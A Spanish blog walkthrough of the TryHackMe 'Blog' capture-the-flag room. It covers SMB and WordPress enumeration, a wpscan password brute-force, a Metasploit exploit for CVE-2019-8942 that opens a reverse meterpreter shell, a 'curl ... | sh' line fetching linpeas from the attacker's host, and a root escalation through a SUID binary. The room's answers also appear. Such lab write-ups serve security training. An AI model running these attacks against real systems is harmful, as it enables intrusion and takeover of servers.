Entrada

TryHackMe - Blog

¿Inspeccionar el archivo binario en busca de código?

TryHackMe - Blog

Introducción

Personalmente, NO recomiendo usar WordPress a menos que sea absolutamente necesario. La cantidad de vulnerabilidades que se descubren a diario es una locura.

Al principio, no pensé que fuera un desafío Medium, pero después de descubrir el archivo binario y analizarlo, me di cuenta de que no es una broma.

Tryhackme Room Link

Nmap

Comencemos con el escaneo de nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.139.64
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
|   256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_  256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-title: Billy Joel's IT Blog – The IT blog
|_http-generator: WordPress 5.0
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-02-28T14:11:25
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: blog
|   NetBIOS computer name: BLOG\x00
|   Domain name: \x00
|   FQDN: blog
|_  System time: 2025-02-28T14:11:25+00:00
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Puertos abiertos: 22/tcp 80/tcp 139/tcp 445/tcp

Reconocimiento

Dado que tenemos puertos SMB abiertos, busquemos recursos compartidos de Samba usando enum4linux

1
$ enum4linux -a 10.10.139.64

Podemos ver la parte de Billy.

1
2
3
print$          Disk      Printer Drivers
BillySMB        Disk      Billy's local SMB Share
IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))

Conectémonos y descarguemos los archivos disponibles.

1
2
3
4
5
6
7
8
9
10
11
12
$ smbclient \\\\10.10.139.64\\BillySMB\\                                                                     
Password for [WORKGROUP\rene]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue May 26 20:17:05 2020
  ..                                  D        0  Tue May 26 19:58:23 2020
  Alice-White-Rabbit.jpg              N    33378  Tue May 26 20:17:01 2020
  tswift.mp4                          N  1236733  Tue May 26 20:13:45 2020
  check-this.png                      N     3082  Tue May 26 20:13:43 2020

                15413192 blocks of size 1024. 9790060 blocks available
smb: \> 

Bien, podemos verificar los archivos. Lo haré de esta manera:

  1. Montar el recurso compartido en mi carpeta local
  2. Salir de la carpeta y volver a ingresar para que se actualice
1
2
3
4
5
$ sudo mount -t cifs //10.10.139.64/BillySMB /home/rene/tryhackme/blog
$ cd ..
$ cd blog
$ ls
Alice-White-Rabbit.jpg  check-this.png  tswift.mp4

Ok, revisemos los archivos.

1
$ xdg-open Alice-White-Rabbit.jpg

Rabbit

1
$ xdg-open check-this.png

QR Code

Código QR que nos envía a https://www.youtube.com/watch?v=eFTLKWw542g -> No empezamos la canción de Fire

Y el vídeo es de una cabra gritando con la canción :D

Vamos a comprobar las imágenes con steghide

Ok, nos pide una contraseña que no conocemos.

Extrayendo algo de información

1
2
3
4
5
6
7
8
9
10
$ steghide --info Alice-White-Rabbit.jpg 
"Alice-White-Rabbit.jpg":
  format: jpeg
  capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "rabbit_hole.txt":
    size: 48.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

Parece una madriguera de conejo(rabbit hole)

Visitemos el sitio web 10.10.139.64

Parece un sitio web estándar de WordPress

Hay una herramienta muy útil para sitios web de WordPress llamada wpscan que nos permite enumerar nombres de usuario. Usémosla

1
$ wpscan --url http://10.10.139.64 --enumerate u

Encontramos 2 usuarios

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[i] User(s) Identified:

[+] bjoel
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] kwheel
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Intentemos hacer un ataque de fuerza bruta, incluso podemos hacerlo usando wpscan

1
wpscan --url http://10.10.139.64 -P /usr/share/wordlists/rockyou.txt -U "kwheel"

kwheel password

El formulario de inicio de sesión funciona únicamente a través de blog.thm, por lo que debemos agregar la IP a nuestro archivo /etc/hosts para que funcione con el nombre de host.

1
2
echo "10.10.139.64 blog.thm" | sudo tee -a /etc/hosts
10.10.139.64 blog.thm

Intenté cargar el archivo de shell inverso en la sección de medios, pero no parece funcionar

Bueno, después de investigar un poco sobre imágenes y cargas en WordPress, encontré esta vulnerabilidad CVE-2019-8942

Abramos metasploit y verifiquemos si existe un módulo para esto

1
2
3
4
5
6
7
8
9
msfconsole
msf6 > search CVE-2019-8942

Matching Modules
================

   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/multi/http/wp_crop_rce  2019-02-19       excellent  Yes    WordPress Crop-image Shell Upload

¡Qué suerte hay! ¡Aprovechémosla!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf6 > use use exploit/multi/http/wp_crop_rce
msf6 exploit(multi/http/wp_crop_rce) > options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metas
                                         ploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THEME_DIR                   no        The WordPress theme dir name (disable theme auto-detection if provid
                                         ed)
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.133.135  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Así que vamos a configurar las opciones requeridas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 exploit(multi/http/wp_crop_rce) > set PASSWORD <CENSORED>
msf6 exploit(multi/http/wp_crop_rce) > set RHOSTS blog.thm
msf6 exploit(multi/http/wp_crop_rce) > set username kwheel
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 10.11.75.122
msf6 exploit(multi/http/wp_crop_rce) > exploit
[*] Started reverse TCP handler on 10.11.75.122:4444 
[*] Authenticating with WordPress using kwheel:<CENSORED>...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (40004 bytes) to 10.10.139.64
[*] Attempting to clean up files...
[*] Meterpreter session 1 opened (10.11.75.122:4444 -> 10.10.139.64:45118) at 2025-02-28 16:29:26 +0100
meterpreter > 

Y tenemos una sesión de meterpreter

Cambiemos al shell tty mediante el comando shell

Parece que el indicador user.txt no es un indicador esta vez

Escalada de privilegios

Escalemos nuestros privilegios

sudo -l no funciona, intentemos descargar linpeas.sh de nuestra máquina y ejecutarlo

(No olvide iniciar el servidor http local en la carpeta donde se encuentra linpeas.sh)

1
curl 10.11.75.122/linpeas.sh | sh

Vaya, ni una sola cosa…

Después de buscar en Google, encontré “https://github.com/Anon-Exploiter/SUID3NUM”, así que descarguémoslo y ejecutémoslo

1
curl 10.11.75.122/suid3num.py

Bueno, finalmente algo

Checker

Descarguemos el archivo (inicie el servidor http local en la máquina de destino donde está el archivo checker)

1
$ wget http://10.10.139.64:8000/checker 

Analicemos el archivo binario con la herramienta ghidra

Después de una larga investigación, probablemente hayamos encontrado el código que estamos buscando

Ghidra

Code functionality:

  1. Obtenga el valor de la variable de entorno admin usando getenv("admin")
  2. Verifique si admin está configurado
    • Si admin no está configurado (es decir, NULL), imprima “Not an Admin”.
    • Si admin está configurado, continúe con el siguiente paso
  3. Aumente los privilegios llamando a setuid(0) (para configurar la ID de usuario como root, si está permitido)
  4. Genere un nuevo shell ejecutando system(“/bin/bash”) para abrir un shell root

Entonces, lo que podemos hacer básicamente es configurar la variable admin con cualquier valor y ejecutar checker

1
2
3
admin=rene /usr/sbin/checker
id
uid=0(root) gid=33(www-data) groups=33(www-data)

Bandera Root

Así que ahora podemos obtener todas las banderas

Usuario

Root Flag

Root

Root Flag

Resto de preguntas:

¿Dónde se encontró el archivo user.txt?

Respuesta:

1
/media/usb

¿Qué CMS estaba usando Billy?

Respuesta:

1
Wordpress

¿Qué versión del CMS mencionado anteriormente se estaba utilizando?

1
5.0
Esta entrada está licenciada bajo CC BY 4.0 por el autor.